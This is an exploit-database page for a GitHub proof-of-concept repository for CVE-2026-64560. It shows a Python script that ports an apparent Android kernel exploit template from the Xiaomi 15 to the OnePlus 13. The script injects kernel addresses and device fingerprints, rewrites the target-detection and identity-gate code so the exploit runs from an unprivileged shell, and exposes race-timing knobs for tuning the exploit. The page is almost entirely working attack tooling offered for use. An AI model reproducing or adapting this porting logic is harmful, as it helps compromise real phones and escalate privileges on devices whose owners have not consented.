Exploit database

GH-8a45f9c7af288ef0f5c475f939787718

a23bc/op13-cve-2026-64560

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-64560

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
a23bc/op13-cve-2026-64560Revision 3fdacf46ba05

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

tools/port_target.py

Python · 12,619 bytes
#!/usr/bin/env python3
"""Generate a device-specific exploit source from the dada template.

Every edit is an exact-match replacement with an expected hit count. If the
template drifts the port fails loudly instead of emitting a half-ported file.
Device identity tests are rewritten with explicit parentheses so that adding a
second accepted constant cannot silently change operator precedence.

Usage:
    python tools/port_target.py --profile profiles/op13/<id>.json
"""

from __future__ import annotations

import argparse
import json
import re
import sys
from pathlib import Path

OP13 = "OP13"

HEADER_OLD = (
    " * Modified from NebuSec/CyberMeowfia CVE-2026-64560 for the exact Xiaomi 15\n"
    " * target documented in README.md. See NOTICE and docs/UPSTREAM.md."
)
HEADER_NEW = (
    " * Generated by tools/port_target.py from the Xiaomi 15 (dada) template for the\n"
    " * OnePlus 13 target documented in docs/OP13.md. Every address was derived from\n"
    " * the exact decoded Image; see NOTICE and docs/UPSTREAM.md."
)
LAYOUT_OLD = "/* Exact Xiaomi 15 (dada) OS4.0.0.8 4K GKI image link layout. */"
LAYOUT_NEW = (
    "/* Exact OnePlus 13 4K GKI image link layout. */\n"
    "/* TODO(op13): physical_delta below is inherited from dada and unconfirmed. */"
)


class PortError(RuntimeError):
    pass


def replace_once(text: str, old: str, new: str, where: str) -> str:
    count = text.count(old)
    if count != 1:
        raise PortError(f"{where}: expected 1 match, found {count} for {old!r}")
    return text.replace(old, new)


def replace_n(text: str, old: str, new: str, where: str, expected: int) -> str:
    count = text.count(old)
    if count != expected:
        raise PortError(f"{where}: expected {expected} matches, found {count} for {old!r}")
    return text.replace(old, new)


def set_define(text: str, name: str, value: int, where: str) -> str:
    pattern = re.compile(rf"^#define {name} UINT64_C\(0x[0-9a-fA-F]+\)$", re.MULTILINE)
    if len(pattern.findall(text)) != 1:
        raise PortError(f"{where}: expected exactly one #define {name}")
    return pattern.sub(f"#define {name} UINT64_C({value:#x})", text)


def clone_tuning_branch(text: str, profile_name: str, where: str,
                        tuning: dict | None = None) -> str:
    """Append an OP13 copy of the dada tuning branch."""
    tuning = tuning or {}
    start = text.index("    } else if (profile == STANDALONE_PROFILE_DADA) {")
    tail = "    } else {\n        fprintf(stderr, \"TARGET_PROFILE_GATE_FAIL"
    end = text.index(tail, start)
    dada_branch = text[start:end]
    op13_branch = (
        dada_branch
        .replace("profile == STANDALONE_PROFILE_DADA", "profile == STANDALONE_PROFILE_OP13")
        .replace('profile_name = "dada-os4.0.0.8";', f'profile_name = "{profile_name}";')
        .replace("direct_bootid_parent = DADA_DIRECT_BOOTID_PARENT;",
                 f"direct_bootid_parent = {OP13}_DIRECT_BOOTID_PARENT;")
        .replace("direct_cycle_c = DADA_DIRECT_CYCLE_C;",
                 f"direct_cycle_c = {OP13}_DIRECT_CYCLE_C;")
    )
    if "STANDALONE_PROFILE_OP13" not in op13_branch:
        raise PortError(f"{where}: dada tuning branch did not clone")

    timer_goal = tuning.get("timerGoal")
    if timer_goal:
        op13_branch = replace_once(
            op13_branch, "timer_goal = 56000;", f"timer_goal = {timer_goal};",
            where + " (op13 tuning branch)")
    return text[:end] + op13_branch + text[end:]


def port_text(text: str, link: dict[str, int], direct: dict[str, int],
              fingerprint: str, device: str, profile_name: str, where: str,
              tuning: dict | None = None) -> str:
    out = text

    out = replace_once(out, HEADER_OLD, HEADER_NEW, where)
    out = replace_once(out, LAYOUT_OLD, LAYOUT_NEW, where)

    for name, value in link.items():
        out = set_define(out, name, value, where)

    dada_line = out[out.index("#define DADA_DIRECT_CYCLE_C"):].split("\n")[0]
    injection = (
        dada_line + "\n"
        f"#define {OP13}_DIRECT_BOOTID_PARENT UINT64_C({direct['bootidParent']:#x})\n"
        f"#define {OP13}_DIRECT_CYCLE_C UINT64_C({direct['cycleC']:#x})\n"
    )
    out = replace_once(out, dada_line, injection, where)

    out = replace_once(
        out,
        "    STANDALONE_PROFILE_DADA,\n};",
        "    STANDALONE_PROFILE_DADA,\n    STANDALONE_PROFILE_OP13,\n};",
        where,
    )
    out = replace_once(
        out,
        '    static const char dada[] =\n'
        '        "Xiaomi/dada/dada:17/CP2A.260605.016/OS4.0.0.8.XOCCNXM:user/release-keys";',
        '    static const char dada[] =\n'
        '        "Xiaomi/dada/dada:17/CP2A.260605.016/OS4.0.0.8.XOCCNXM:user/release-keys";\n'
        f'    static const char op13[] =\n        "{fingerprint}";',
        where,
    )
    # /proc/cmdline is root-only on this OnePlus build, and the template treats
    # a failed cmdline read as fatal for every profile. OP13 is therefore
    # detected first, from properties init derived from the same cmdline, and
    # the cmdline requirement is moved below it.
    detection_old = (
        "    if (__system_property_get(\"ro.build.fingerprint\", fingerprint) <= 0 ||\n"
        "        __system_property_get(\"ro.product.device\", device) <= 0 ||\n"
        "        read_profile_file(\"/proc/cmdline\", cmdline, sizeof(cmdline)))\n"
        "        return STANDALONE_PROFILE_UNKNOWN;\n"
        "    if (!strcmp(fingerprint, frankel) && !strcmp(device, \"frankel\") &&\n"
        "        strstr(cmdline, \"androidboot.hardware=gem5\") && strstr(cmdline, \"ro.kernel.qemu=1\"))\n"
        "        return STANDALONE_PROFILE_FRANKEL_QEMU;\n"
    )
    detection_new = (
        "    if (__system_property_get(\"ro.build.fingerprint\", fingerprint) <= 0 ||\n"
        "        __system_property_get(\"ro.product.device\", device) <= 0)\n"
        "        return STANDALONE_PROFILE_UNKNOWN;\n"
        "    /*\n"
        "     * OP13: /proc/cmdline is unreadable for the unprivileged shell on this\n"
        "     * build, so the emulator discrimination uses the properties that init\n"
        "     * derived from the same kernel cmdline parameters.\n"
        "     */\n"
        "    __system_property_get(\"ro.hardware\", hardware);\n"
        "    __system_property_get(\"ro.kernel.qemu\", qemu);\n"
        f"    if (!strcmp(fingerprint, op13) && !strcmp(device, \"{device}\") &&\n"
        "        strcmp(hardware, \"gem5\") && qemu[0] == '\\0')\n"
        "        return STANDALONE_PROFILE_OP13;\n"
        "    if (read_profile_file(\"/proc/cmdline\", cmdline, sizeof(cmdline)))\n"
        "        return STANDALONE_PROFILE_UNKNOWN;\n"
        "    if (!strcmp(fingerprint, frankel) && !strcmp(device, \"frankel\") &&\n"
        "        strstr(cmdline, \"androidboot.hardware=gem5\") && strstr(cmdline, \"ro.kernel.qemu=1\"))\n"
        "        return STANDALONE_PROFILE_FRANKEL_QEMU;\n"
    )
    out = replace_once(out, detection_old, detection_new, where)
    out = replace_once(
        out,
        "    char cmdline[8192];\n    char device[PROP_VALUE_MAX] = {0};",
        "    char cmdline[8192];\n    char device[PROP_VALUE_MAX] = {0};\n"
        "    char hardware[PROP_VALUE_MAX] = {0};\n    char qemu[PROP_VALUE_MAX] = {0};",
        where,
    )

    out = clone_tuning_branch(out, profile_name, where, tuning or {})

    # Identity gates. Parentheses are explicit: && binds tighter than ||.
    out = replace_n(
        out,
        "if (direct_bootid_parent != DADA_DIRECT_BOOTID_PARENT || sequence <= 0)",
        "if ((direct_bootid_parent != DADA_DIRECT_BOOTID_PARENT &&\n"
        f"         direct_bootid_parent != {OP13}_DIRECT_BOOTID_PARENT) || sequence <= 0)",
        where,
        1,
    )
    count = out.count("direct_bootid_parent == DADA_DIRECT_BOOTID_PARENT &&")
    if count:
        out = replace_n(
            out,
            "direct_bootid_parent == DADA_DIRECT_BOOTID_PARENT &&",
            "(direct_bootid_parent == DADA_DIRECT_BOOTID_PARENT ||\n"
            f"         direct_bootid_parent == {OP13}_DIRECT_BOOTID_PARENT) &&",
            where,
            count,
        )
    count = out.count("if (direct_bootid_parent == DADA_DIRECT_BOOTID_PARENT)")
    if count:
        out = replace_n(
            out,
            "if (direct_bootid_parent == DADA_DIRECT_BOOTID_PARENT)",
            "if (direct_bootid_parent == DADA_DIRECT_BOOTID_PARENT ||\n"
            f"        direct_bootid_parent == {OP13}_DIRECT_BOOTID_PARENT)",
            where,
            count,
        )
    count = out.count("profile == STANDALONE_PROFILE_DADA && setenv(")
    if count:
        out = replace_n(
            out,
            "profile == STANDALONE_PROFILE_DADA && setenv(",
            "(profile == STANDALONE_PROFILE_DADA ||\n"
            "        profile == STANDALONE_PROFILE_OP13) && setenv(",
            where,
            count,
        )
    count = out.count("profile == STANDALONE_PROFILE_DADA &&")
    if count:
        out = replace_n(
            out,
            "profile == STANDALONE_PROFILE_DADA &&",
            "(profile == STANDALONE_PROFILE_DADA || profile == STANDALONE_PROFILE_OP13) &&",
            where,
            count,
        )

    out = out.replace('printf("PREFLIGHT_PASS profile=dada-os4.0.0.8 race_not_started=1 "',
                      f'printf("PREFLIGHT_PASS profile={profile_name} race_not_started=1 "')

    goal = (tuning or {}).get("timerGoal")
    if goal:
        out = replace_once(
            out,
            '    if ((profile == STANDALONE_PROFILE_DADA ||\n'
            '        profile == STANDALONE_PROFILE_OP13) && setenv("TIMER_GOAL", "56000", 1))\n'
            '        die("setenv dada timer goal");',
            '    if ((profile == STANDALONE_PROFILE_DADA ||\n'
            '        profile == STANDALONE_PROFILE_OP13) && setenv("TIMER_GOAL", "56000", 1))\n'
            '        die("setenv dada timer goal");\n'
            '    /* OP13 measured ceiling: EAGAIN at ~41349 timers. */\n'
            f'    if (profile == STANDALONE_PROFILE_OP13 && setenv("TIMER_GOAL", "{goal}", 1))\n'
            '        die("setenv op13 timer goal");',
            where,
        )

    # Make the tuning knobs overridable from the environment, last. The
    # template rewrites them with overwrite=1, so a value you set in the shell
    # is discarded and every experiment costs a rebuild and a push; sweeping a
    # timing parameter against a probabilistic race needs many samples per
    # build. A setting that already exists in the environment is left alone.
    for name in (
        "exec_environment[index][0], exec_environment[index][1]",
        '"TIMER_GOAL", "56000"',
        '"PIPE_COUNT", "6000"',
        '"EXEC_AFTER_DELETED", "54000"',
        '"IRQ_BATCH_FDS", "8"',
        f'"TIMER_GOAL", "{goal}"' if goal else None,
    ):
        if name is None:
            continue
        old = f"setenv({name}, 1)"
        if old in out:
            out = replace_once(out, old, f"setenv({name}, 0)",
                               where + " (env override)")

    return out


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--profile", type=Path, required=True)
    parser.add_argument("--fingerprint", default="")
    parser.add_argument("--device", default="")
    args = parser.parse_args()

    data = json.loads(args.profile.read_text(encoding="utf-8"))
    port = data.get("port")
    if not port:
        raise PortError("profile has no 'port' block")

    link = {k: int(v, 16) for k, v in port["link"].items()}
    direct = {k: int(v, 16) for k, v in port["direct"].items()}
    fingerprint = (args.fingerprint or port.get("fingerprint")
                   or data.get("device", {}).get("fingerprint") or "")
    device = args.device or port.get("device") or "op13"
    if not fingerprint or "TODO" in fingerprint:
        print("WARNING: fingerprint is unset; the generated build will refuse to run "
              "(TARGET_PROFILE_GATE_FAIL).", file=sys.stderr)

    for entry in port["outputs"]:
        src = Path(entry["source"])
        dst = Path(entry["path"])
        text = src.read_text(encoding="utf-8")
        text = port_text(text, link, direct, fingerprint, device,
                         port["profileName"], str(src),
                         port.get("tuning", {}))
        dst.parent.mkdir(parents=True, exist_ok=True)
        dst.write_text(text, encoding="utf-8")
        print(f"PORTED {src} -> {dst} ({len(text)} bytes)")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())